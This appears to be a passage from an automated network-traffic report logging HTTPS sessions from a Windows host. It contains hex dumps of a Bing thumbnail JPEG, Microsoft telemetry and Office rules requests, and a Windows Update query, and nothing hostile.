2024-11-26 15:31:26 UTC	16384	IN	Data Raw: f1 50 c3 77 dd a0 39 85 64 fd e6 e5 a1 77 35 39 7f da a2 80 11 69 18 53 94 6e f9 6a 46 8f 6d 04 35 1b 68 43 4b 8a b7 1c 2d e5 d3 9a 0d d4 73 0a d1 2b 6d 7f e2 a5 58 f7 55 af b3 bd 4c b6 ff 00 c3 40 5a db 14 96 2f de 55 88 e0 5a 9d 6d ea 55 8f fb b4 9b d4 a5 f7 10 79 74 28 ab 0b 1d 48 b1 6e f9 aa 76 27 94 ad 1c 74 f5 8b f7 75 3e d4 57 f9 a9 ea 94 ae 86 95 8a fe 5b ff 00 15 3b c9 ff 00 38 ab 1e 5d 2f 96 9e b4 f4 1d c8 15 2a 45 8e a5 db ee 69 76 fb 51 70 23 f2 e9 7c ba 7d 14 5c 90 db 46 df 6a 28 a4 01 4e a4 5a 5a 2e c0 28 a2 8a 90 0a 4c d2 d2 66 80 12 8a 28 a0 77 0a 28 a2 9d c4 14 db 87 f2 ad e6 93 fb 88 cd f9 2d 39 6b 86 f8 95 f1 37 c2 1e 1c d3 6f ad e6 bb 8f 52 bc 54 da f6 36 92 7c dc fc bf 33 74 5a 11 a5 3a 73 a9 25 18 ab b6 73 7a 3f c6 b6 bf ba dc ba 2d Data Ascii: Pw9dw59iSnjFm5hCK-s+mXUL@Z/UZmUyt(Hnv'tu>W[;8]/*EivQp#\|}\Fj(NZZ.(Lf(w(-9k7oRT6\|3tZ:s%sz?-
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: de 7c 53 5d 27 9b 6f 70 ff 00 32 be 1b ee d4 1a 1d b4 b2 f8 46 ee c6 39 3f 7d f6 8f 31 d1 df f8 7b 56 8e 8a fa 7d ed d5 c5 bc 3e 7c 51 d8 6d 6d ef f7 77 7a 55 bd 43 54 d1 e2 7b 48 63 48 16 4b 87 69 66 74 fe 3f 45 a3 de 6e c8 39 62 ba 9c ae 8b a5 ea 70 69 af a8 35 a4 8b 1e f6 fe 0d ca 95 93 71 1f d9 ee a6 56 b8 93 cb 97 f7 ae ff 00 ed 1a ea b5 ab cb eb 89 2e e4 f1 16 ad 3d ae 97 13 ed 86 d2 dd f6 b3 af f0 ee f5 5a e6 ac 60 6f f5 d3 7c d0 b3 fc 88 ff 00 dd ed 54 9e 86 2d 47 44 82 44 89 27 49 1b e5 93 e5 df bd d9 aa ce 87 71 73 a5 f8 9a df c5 11 c0 92 fd 81 f7 3d bb fd d9 97 bf e9 4e 98 ee de df bb f2 d7 ee 3f f4 a9 34 d0 bf db 1a 7a c9 06 ef f4 b8 57 63 fd d7 f9 ba 56 75 9d e0 ec 55 38 ae 75 73 d3 b5 6d 5a 74 f1 fe 8c b1 c1 25 be 9f ae 5a 5b 2a 6f 4f 95 3e Data Ascii: \|S]'op2F9?}1{V}>\|QmmwzUCT{HcHKift?En9bpi5qV.=Z`o\|T-GDD'Iqs=N?4zWcVuU8usmZt%Z[*oO>
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: bb 75 77 a6 45 16 f7 17 97 12 24 eb 6f b9 be 4f e3 51 58 37 1a 35 e5 ae f9 21 82 46 56 7f 9f e4 fb f5 ab 63 1d c8 92 15 92 c6 75 8d 9f e7 49 92 bc ba 93 e7 7a ad 7e 64 62 39 25 14 e3 25 63 c5 66 f1 56 a1 e3 6f 11 6a 17 d7 d1 c1 12 da bf 97 0c 31 6d ff 00 57 ca a8 ff 00 eb d5 4b c8 35 5b 2d 66 d2 f2 1b 49 da 1b 77 55 b8 d9 ff 00 3c c7 f7 bd 2b 77 e2 d7 86 b4 ad 0b c6 9e 4e 9b bf ed 17 1f bd 58 6d a4 55 d8 a5 b7 72 a2 b9 bd 2c 35 fd bd de ed 6a 7b 76 fb af bd ff 00 8b e9 5e 85 14 d3 b9 e7 62 23 cb 66 be 17 b7 a1 a1 0e a8 ba 94 7a 85 ba c9 25 c6 9b a9 26 db 8d 2d df e5 7f f6 87 f7 5a b8 38 f4 89 e5 9d e1 9b 45 9f 4b 85 5d bf 7b bf 74 48 bd b0 4d 75 8d a4 45 3c 93 47 63 ab 49 15 e3 26 d8 5d fe 58 9d 87 5c d6 1d f4 9e 20 fe d5 79 a6 d3 20 58 d9 fc 87 86 1b ad Data Ascii: uwE$oOQX75!FVcuIz~db9%%cfVoj1mWK5[-fIwU<+wNXmUr,5j{v^b#fz%&-Z8EK]{tHMuE<GcI&]X\ y X
2024-11-26 15:31:26 UTC	16065	IN	Data Raw: d6 35 cd 13 c4 17 11 eb 53 c1 71 78 df 71 dd 3c df 27 fd d1 46 8b ac 78 a9 64 b4 d4 35 eb bb 59 6d e2 b8 69 5f ca 75 6d ea 7f 87 6a d7 19 a9 78 92 5b cf 3a 6b e8 2c 5a ea d5 d9 5f 64 ec cd 37 d0 9a b9 71 79 73 61 3d bd 8c 70 41 e4 ca 9e 7a 79 3f 2a a6 fe 83 15 ab c2 73 53 d8 ee a7 52 9c 65 ca fa 1e b1 a6 ea f6 73 c8 97 9a 7e a5 63 fe 91 bb c9 49 93 e6 e3 ae 47 b5 47 ae 78 5e 4f 10 6a 90 eb 96 ba b5 8c 57 16 7f ea 5d 11 97 e6 ae 02 cf c5 9a 67 87 34 7b 75 d3 f4 db 5b 8b eb fd df eb be 65 85 b7 73 ff 00 01 ab 50 fc 58 d4 ec 24 9a c6 3d 26 c5 be 7d be 74 3f c1 ef f3 57 93 3c 05 68 bb a5 a0 f9 93 4d a7 f9 7e a7 5b e2 0f 0f 6a ba 97 d9 ec f5 2f 1b df 79 2a fe 6b fe ee 1f 9d ba fc ad 59 9e 0b b9 82 f2 e9 ee b5 af 10 c1 71 75 74 ed 04 30 c2 8a ab e5 af cb db f8 Data Ascii: 5Sqxq<'Fxd5Ymi_umjx[:k,Z_d7qysa=pAzy?sSRes~cIGGx^OjW]g4{u[esPX$=&}t?W<hM~[j/ykYqut0
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 13 c7 1a ce a5 a6 d8 5a dd 68 fe 76 d9 ad 21 4f 9a e6 3f 53 dc 57 6c d3 db 7d 85 3e cb 7f 1c b6 f1 3b 4e f0 a2 6e 95 ff 00 c2 a9 c7 24 e9 7c fe 26 b1 92 7b 58 76 2b 43 36 f6 fb bd 3e 7a f1 f0 f9 8d 4a 6e 4a 6a e7 64 f0 b7 b6 a7 9d ea 10 78 e3 4f b1 d4 f4 99 23 ba d2 f4 b9 76 df 43 6e 9b 9b 66 5b a0 f7 ad 0d 3e f7 c5 1a b4 7f 65 be bb be f3 19 3c bb 44 9a d7 73 4c a7 e5 dc 2b aa f1 46 a9 3c fe 1f d4 2e 96 c2 36 93 54 85 56 6b 88 67 6f 37 76 ef 97 8e 8a b5 9b e0 7d 4e e5 3e 28 5b db ea 1a 96 db cb 7b 4f 92 17 fe 06 2b c2 7a 57 a1 0c ca 13 a2 e5 08 ea 8c fd 85 a7 66 ca 3e 19 f0 e6 91 a2 78 ba e2 cf cf ba bc d7 2d 51 a2 86 67 4d b0 27 fb 59 eb bb b5 75 56 fa 8e a7 ac f8 ab 50 86 6b bf b1 dc 34 31 b4 2f 0b ee f9 63 5c 38 ff 00 78 d6 87 89 a7 b1 d4 20 9a ce 6b Data Ascii: Zhv!O?SWl}>;Nn$\|&{Xv+C6>zJnJjdxO#vCnf[>e<DsL+F<.6TVkgo7v}N>([{O+zWf>x-QgM'YuVPk41/c\8x k
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 63 69 1e 14 b0 ee 6f 99 1c 4f 88 a0 8e cb 55 86 3d 42 39 ef 24 ba b4 55 ff 00 47 4f 4f e2 ad 2f 0c e8 ba 1d fc 89 25 e4 f7 5e 4a a7 fa 47 d8 7e 56 85 7f e9 a6 ef e9 52 6a 5e 14 6b 5d 4b 53 d7 2f b5 a9 de c6 de 1f f8 94 dd bc 9b 5a 66 ed ef 58 b0 87 d4 60 b7 b3 87 e6 9b 63 4f 70 9f 75 a6 c7 27 f4 ae 59 56 5c fc c8 15 39 26 d3 5b 9d 26 93 a8 e9 5a 34 73 5a e9 f2 5d 7f a0 5c 32 da 42 ef b6 57 87 a8 66 65 f7 ac bf 16 6b 17 8d 3b c3 34 12 2c 92 dc 6e 79 be 5f 37 9f f0 ac fd 0f 5c 8f 5e b5 b7 b8 f2 fe cf 71 12 34 53 79 29 b5 51 77 65 7f 4a 35 eb 7f 3e 34 ba 59 e4 b8 d4 2e 37 44 8f 33 ae df 6d d5 e4 e3 65 cd 53 53 b2 94 79 69 7b a5 7d 4a 39 ee a0 7b 59 a7 9e 28 65 f9 9d e1 ff 00 96 d8 fe f5 47 75 6e ad b2 65 48 e2 55 75 f9 3e 95 7b c3 bf 6e 6d 01 ed ee 2d fe cb Data Ascii: cioOU=B9$UGOO/%^JG~VRj^k]KS/ZfX`cOpu'YV\9&[&Z4sZ]\2BWfek;4,ny_7\^q4Sy)QweJ5>4Y.7D3meSSyi{}J9{Y(eGuneHUu>{nm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49759	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	375	OUT	GET /th?id=OADD2.10239379264962_11UXGSQH50WZLI7KB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:26 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 644730 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D8A199C49E89404F83669074D26E4E3C Ref B: EWR30EDGE0808 Ref C: 2024-11-26T15:31:25Z Date: Tue, 26 Nov 2024 15:31:25 GMT Connection: close
2024-11-26 15:31:26 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 8e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 31 33 3a 33 30 3a 33 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 13:30:328
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: df f3 ce 91 51 a9 dc cd c4 30 cb 1d 2a fc d5 6a 11 ba 95 8a fd da 9e 63 6f 61 e6 41 b2 8c 25 3a 64 a4 8f ef d0 9d ca f6 7a d8 66 c4 ff 00 6e 9f ff 00 a0 d4 fe 5e e8 f7 2d 26 cd df 2d 2e 62 95 3b 10 fc f4 8c 2a d4 63 fb b4 48 9b 6a 79 8b 71 ba 29 f9 7f c5 4d 64 ff 00 a6 95 a0 df ea f6 d4 32 45 ba ab da 33 3f 63 1e 84 30 a6 df bb 52 48 3f 79 fe ae 9d 0c 4c b2 7c b5 37 cd 49 cb 52 94 2c b6 2a ac 7f dd a9 a3 56 f2 f6 ff 00 15 4a a1 a9 d9 a8 e6 6c d2 30 20 99 37 47 55 d9 1a b4 14 33 7d da 1a 36 6f bd 1d 35 3b 15 2c 3b 91 9f e5 b7 99 4d 64 6f e1 ad 1f 2b fe 99 d3 24 8b f7 94 d5 43 2f a9 be e5 2f 2d bf bf 4f 58 d7 f8 aa d2 c7 fc 2b 4b e5 32 d1 ed 06 b0 ae e5 6f 2a 26 fb d4 c6 8b f7 9f 2d 5e f2 ff 00 d8 a4 f2 cd 2f 68 3f ab 79 19 fb 1e 86 89 bf e7 9d 5e 68 36 fc Data Ascii: Q0jcoaA%:dzfn^-&-.b;cHjyq)Md2E3?c0RH?yL\|7IR,VJl0 7GU3}6o5;,;Mdo+$C//-OX+K2o&-^/h?y^h6
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 91 53 ca fe f7 cd 4b f6 75 6f bd 56 bc b1 47 97 55 ed 5f 40 f6 11 2a fd 9f 1f 76 8f 23 fe 9a 55 b5 0a 3e ed 33 6d 0a ab 64 fb 08 ad 91 55 a2 fe 16 92 a3 68 1a af 28 fe f5 1e 5a b5 57 b5 69 92 f0 d1 7d 0c f6 8d a8 fb bf f3 ce ae b4 1b be ed 1e 42 ff 00 15 5f b7 46 7f 55 69 d8 a1 f3 c9 4d 64 6a d3 58 95 7e ec 74 be 5f f7 a9 7b 71 ac 2f 73 35 43 2d 2e 6a ff 00 95 fd ea 3c 94 a3 db 87 d5 59 49 51 9b fe 79 d2 f9 1b bf e5 a5 5c 68 17 fe 79 d2 35 ba fd ed 9b 68 f6 97 d9 97 f5 6b 10 47 16 da 5d 8b 56 3c aa 4f 2f fb d5 9b 99 5e c5 f5 45 6d 8f e6 6d a5 f2 ff 00 e9 a5 58 68 d7 ee d2 79 69 47 3a 0f 62 43 e5 af fc f4 a5 5f 96 a4 68 b7 7d da 5f 21 a8 72 2b d8 d8 89 47 f7 7e f5 2f fb 35 2f 97 fd da 55 8d bf e9 a5 4f 39 7e cf c8 af 18 65 8f e5 fb b4 ac 1b fe 79 d5 85 81 Data Ascii: SKuoVGU_@*v#U>3mdUh(ZWi}B_FUiMdjX~t_{q/s5C-.j<YIQy\hy5hkG]V<O/^EmmXhyiG:bC_h}_!r+G~/5/UO9~ey
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: d4 34 5d 36 0d 5b ec 7f 2b da 5c 7f cb cc 67 ba 29 fe ef 7a e1 f4 bd 72 da df c4 77 d3 5a c9 a6 da e9 b7 16 91 db 22 42 fb a5 b2 90 7d ef 97 fd aa e6 c0 e5 91 ab 4e e9 5d f5 3d 19 e2 15 38 db 95 2f f3 37 7c 03 e2 9b 98 bc 01 fd 97 aa 79 7b 55 f6 db ba 6e 5d eb f7 be e7 6c 55 af 19 78 d9 65 be bb d5 3c 84 ba f3 62 8f 66 cf 95 77 7d d5 56 15 e7 fe 24 f1 27 87 b4 9f 1a 69 f3 4d 3c f7 12 2a 7d 9a fa e2 17 fd c7 92 7f d8 eb bc 55 2b 3f 88 6d 2d f7 d9 56 c3 f7 33 dc 48 c9 0a 3a ac 5b 47 dc 56 6c 1d cc 6b d4 a5 90 f3 54 53 e5 d3 73 cc ad 9b d3 8d e3 75 72 1f 08 f8 fe 2d 07 c2 ba 9e 9f 27 99 6f 7c ba 8b 5c db c3 0d 8a b4 50 b6 ee 45 60 cd a8 5f 78 cb 5c 46 92 d2 7b c9 2e bc c5 b8 44 9d a2 de bb b7 b7 c8 bf 77 f0 ad 45 d0 a5 f1 ae a5 fd bd a8 41 25 ac 77 13 36 fb Data Ascii: 4]6[+\g)zrwZ"B}N]=8/7\|y{Un]lUxe<bfw}V$'iM<*}U+?m-V3H:[GVlkTSsur-'o\|\PE`_x\F{.DwEA%w6
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 57 8b 72 38 5d 16 da da fe e2 6b 38 63 92 f2 6b 5f bf 33 fd d8 64 2d 8c 6d 5f bd 8a ed bc 5d e1 ed 07 c3 de 1c fe d8 b1 fb 55 9e a9 16 d9 53 7c ec ad 7b f3 61 d1 63 fe 12 6a 9f 8a 35 9d 17 c3 36 29 71 71 77 f6 59 a5 46 d9 0d a5 ae d6 7c 72 37 38 f7 ab be 1d d6 7f e1 25 d6 26 bc 8e ee 3b cb ab 38 61 9d 3c ef bc f9 fa f4 5f 5a e3 c6 7b 4a 89 3e 88 f5 32 5a 74 f0 f3 94 5b d5 b3 b1 f8 73 6f a7 dd 69 af a9 7d be d7 54 b8 d9 1a bc df 79 a1 6f ee c9 fe d5 5c d7 2e 7e c5 1c cb 0d de 9b a6 c9 2b b4 4e f7 16 b1 b3 4d 19 5f 9b 6a 9e 6a 8e b5 e2 1f 0f 5a 68 70 ea 92 5d c6 d3 2c ca b7 6f 63 6b e5 2f 3f f3 d3 1c 1c 7f 78 d6 17 c4 2d 0f c1 3e 32 f1 56 93 7d 71 77 25 d5 e5 e5 ba c1 6e 90 dd 6e d8 a3 f8 53 6f 73 5f 37 1b 4a b3 e7 4d 23 ee df 32 a7 78 59 b2 96 93 79 a0 c1 Data Ascii: Wr8]k8ck_3d-m_]US\|{acj56)qqwYF\|r78%&;8a<_Z{J>2Zt[soi}Tyo\.~+NM_jjZhp],ock/?x->2V}qw%nnSos_7JM#2xYy
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 16 bc ec b6 b7 b4 e6 8e e9 5a c6 b5 22 e3 cb 6f 9a 1f 19 d9 be e2 39 23 66 6f 95 fe 7f e6 2a e5 bc 9b 74 d9 ae 9a 48 fe 6d ad f7 fe fe 2a 97 94 be 63 ab 41 07 cc 9f 3e c4 fb f9 f5 ae bb c3 69 73 3f 85 5e c6 e2 48 d9 af 26 f3 f6 79 1f bd da 8b b1 76 7b 7b 57 65 79 5a 37 37 a5 7b b3 b2 f0 3f 95 71 a5 4d ab 59 df c8 ab a4 da 34 97 69 b3 77 cb e8 a5 7f 91 a8 fe 23 78 86 0d 2e c6 de 69 3c c9 56 f2 16 9d 21 87 ef 22 fe 35 8a d6 fa 9e 9b e1 9d 72 18 e7 8e de 1b fb 18 e3 87 67 de 76 ef 9d be ab c5 73 5a e5 c6 a1 36 b0 f0 df 5d f9 f2 5a db c7 6d 0f ee ff 00 85 17 1b 6b c4 8e 5b 0a f5 f9 de c8 da 13 94 24 df 43 ac b3 f1 66 95 07 86 6c 6f 2d 64 92 2d df 35 c5 bb a3 34 b0 af f1 7f f5 ab b9 f0 1e b0 d3 e9 df 6a f2 27 b7 b5 b8 dc d6 9e 77 de 9a 3e be 66 ce a8 bf 5a f0 Data Ascii: Z"o9#fotHmcA>is?^H&yv{{WeyZ77{?qMY4iw#x.i<V!"5rgvsZ6]Zmk[$Cflo-d-54j'w>fZ
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 3d 9c 8f 0d d6 9b e5 2f cc db 3e 56 54 cd 71 3e 3b b1 8b 4f d7 3e c3 35 fc 76 f6 77 8f e6 5a 6f b5 f9 5d 7b a6 ef ef 29 ae 85 64 d5 ff 00 b2 62 9a 69 ee a2 b8 95 15 9f e4 f9 53 3d ab ce be 3c 78 b3 5c b0 83 4b d1 f4 f9 2d 67 59 5d ae 75 14 9a d7 cf f2 55 1b e4 6f 97 95 1d 6b 3c 05 69 d4 af 18 24 73 fd 56 52 93 95 d7 9d bc 8d 08 fe c2 bf bc b5 fb df 2f cf fd fc 57 7b e0 39 37 58 a7 da a0 91 64 95 37 22 7f 7e bc 97 c1 ba 8d e6 b9 07 f6 84 72 41 17 ce cb b2 18 fe 5f cb 35 da e9 ba c6 ab 61 a5 2b 6a 97 f6 b1 5b ab ed 85 df e5 af 47 30 ad 2f 85 ee 85 1c 0b d5 47 73 d1 34 f9 e0 59 dd 97 cc 65 d9 b5 d1 de 92 ea 0d bb 1a 3f f5 72 fc c9 5c 35 bf 89 77 4f f6 af ed 28 25 8e 54 db fb 97 f9 5f dd 6b a0 f0 8f 88 55 e7 fb 0d f4 f1 f9 37 1f 2c 33 7f 71 bf 87 77 a6 6b a7 Data Ascii: =/>VTq>;O>5vwZo]{)dbiS=<x\K-gY]uUok<i$sVR/W{97Xd7"~rA_5a+j[G0/Gs4Ye?r\5wO(%T_kU7,3qwk
2024-11-26 15:31:26 UTC	16067	IN	Data Raw: 75 b6 fe 7f dd 5f e4 65 4e 73 aa bd cd d6 8f 7d bc b6 d4 e2 b5 4d 45 ac e0 bb d2 75 6d 5b cd 6b 59 bf d3 91 1f f7 bb 83 72 a9 fe d0 a5 ba f1 06 9f a8 f8 3a 6d 3d 6d 27 b7 65 99 59 2e 1d db cd 99 43 7f 0f d5 6a 9d f7 81 fc 2b 3d d7 9d 79 ae a5 c6 97 70 ed 16 fb 4d df 6c 86 4f f6 c3 7d e3 59 ff 00 10 3c 3f 7d a4 6b 9f f0 8f d9 df fd be 3b 28 63 96 de e1 3e 66 48 cf f0 b0 1f c5 fe cd 6b 4e 8e 16 a3 8c 53 7c db ed 63 96 a3 af 0b bb 5d 6d a3 b9 ea fa 7c 6b ae 68 16 f7 11 c9 25 c4 77 10 c6 af 0b ed 5d ea 9f 77 60 6f 46 a9 bc 65 69 2d ae 8e 9a 7c 70 5a b5 ab 6d 95 e1 87 72 cb b8 74 66 3d 2b 98 f8 57 7f a9 da e8 68 b3 58 7d a9 9a 65 95 1e e1 36 b4 2c 38 60 bb be ea ff 00 2a ca bc f1 3d e6 ad e2 07 b5 d2 75 6b 55 85 a6 6f f4 47 9d be 48 fb e7 fb df 35 78 6b 03 59 Data Ascii: u_eNs}MEum[kYr:m=m'eY.Cj+=ypMlO}Y<?}k;(c>fHkNS\|c]m\|kh%w]w`oFei-\|pZmrtf=+WhX}e6,8`*=ukUoGH5xkY
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: c6 e2 48 ec 2c 6d e4 8b 6a db dd c2 ff 00 bf 49 87 dd c7 38 6f 70 6b 93 5d 23 c5 ef a9 3a cd 3e 9b 67 75 a3 4d e6 ec b7 b1 f2 9a 6f 94 fd c7 5c 07 fa 76 af 47 07 5a 36 fd cd 4b 33 97 11 59 c9 da 51 ba 47 65 e1 b8 20 f0 e3 c3 a4 b4 77 d7 10 ac 31 db 5b dd ec dc af 8f ef 30 e8 6b 3b e2 86 b1 79 75 f0 db 53 8f 43 b1 fe d1 8f 7b 45 a9 cb bf 6f d8 e3 1e 9f df 26 b9 9d 2f 5d f1 9c 1a 94 32 37 86 ad 5a 1f 27 ed 97 17 30 bf 94 d7 2a 3e ff 00 ca d9 dc d8 a9 f4 5d 7f 48 7d 0f 50 d0 61 f0 d5 d5 ae 9f ab 24 9f 6b 7b 4b ef 36 28 58 f4 7d ad fc 54 e9 e5 cd 55 55 65 ef 3b dc e9 fe d6 a8 e1 c9 6b 0c f8 4f a7 6a ba 26 b9 71 71 fd 8d 23 5b dd 5a 47 be 67 f9 99 14 ff 00 b5 fc 3f 35 7a 5a d9 b5 c4 09 6b 34 93 c5 1a be e7 48 5f 6e f5 3d 9b d4 57 9d 68 ba ec ba 6e 95 69 6e d7 Data Ascii: H,mjI8opk]#:>guMo\vGZ6K3YQGe w1[0k;yuSC{Eo&/]27Z'0*>]H}Pa$k{K6(X}TUUe;kOj&qq#[ZGg?5zZk4H_n=Whnin
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 33 6b 9a 49 5c fc f6 3c 1d 9a 46 13 a9 4a 0e 4a 3d 99 8f 36 a7 3b 58 a3 2c 9b a4 6d bf 27 96 d5 b9 e1 fb fd 67 4d fd f4 91 a6 d6 4d df 67 99 1b 6a 7f f6 35 5f 41 d2 3c db eb 76 f3 e4 bc b7 6d b2 c3 32 3a f9 5b 7a 8e 6b a4 f1 04 8d 74 f7 d3 5a cf f2 b4 5e 53 f9 2f b9 9d 47 f0 8f c6 ab 13 56 9b 94 69 c5 5d 31 65 b8 4c 5c 29 4e bd 49 38 ca 3a 58 c1 b5 d7 75 36 d9 22 dd ee f3 76 fc 89 b7 6f 15 b9 7d e1 66 6b 77 d6 ad fc ff 00 b4 5e 4c ad 34 2f 06 d5 e7 ae da e6 7c 33 a4 b5 ac 76 8c d2 41 14 8d 13 34 db ff 00 8d bf 86 bd 4b c4 57 33 e9 ba 6d 8e ad 6b e5 b3 79 2b e7 23 cf f2 ee 0b d7 6d 79 39 96 25 e1 aa 53 85 0e a7 d4 e4 78 0f af d0 ab 3c 6a d6 27 94 f8 ea 46 8a d7 4c b7 92 c7 ec f3 58 3b 40 f3 7f 13 e7 b6 7a 56 66 97 03 5f ea 5e 4f ee d7 76 ed ef 5e a3 6f a8 Data Ascii: 3kI\<FJJ=6;X,m'gMMgj5_A<vm2:[zktZ^S/GVi]1eL\)NI8:Xu6"vo}fkw^L4/\|3vA4KW3mky+#my9%Sx<j'FLX;@zVf_^Ov^o

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49761	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	602	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=394511433&PG=PC000P0FR5.0000000IRU&REQASID=E63831AF0CC046A09D1AE6A597F951CB&UNID=338389&ASID=0e6e874893f342b5b693664973a6aa48&&DS_EVTID=E63831AF0CC046A09D1AE6A597F951CB&DEVOSVER=10.0.19045.2006&REQT=20241126T153059&TIME=20241126T153105Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-26 15:31:26 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5466bf86-f598-4e20-9412-3ca4062cf51e Date: Tue, 26 Nov 2024 15:31:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153127Z-174f7845968kvnqxhC1EWRmf3g0000000eag00000000pyeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=r2VWSTVOOBwDveM&MD=hFfoBeLw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
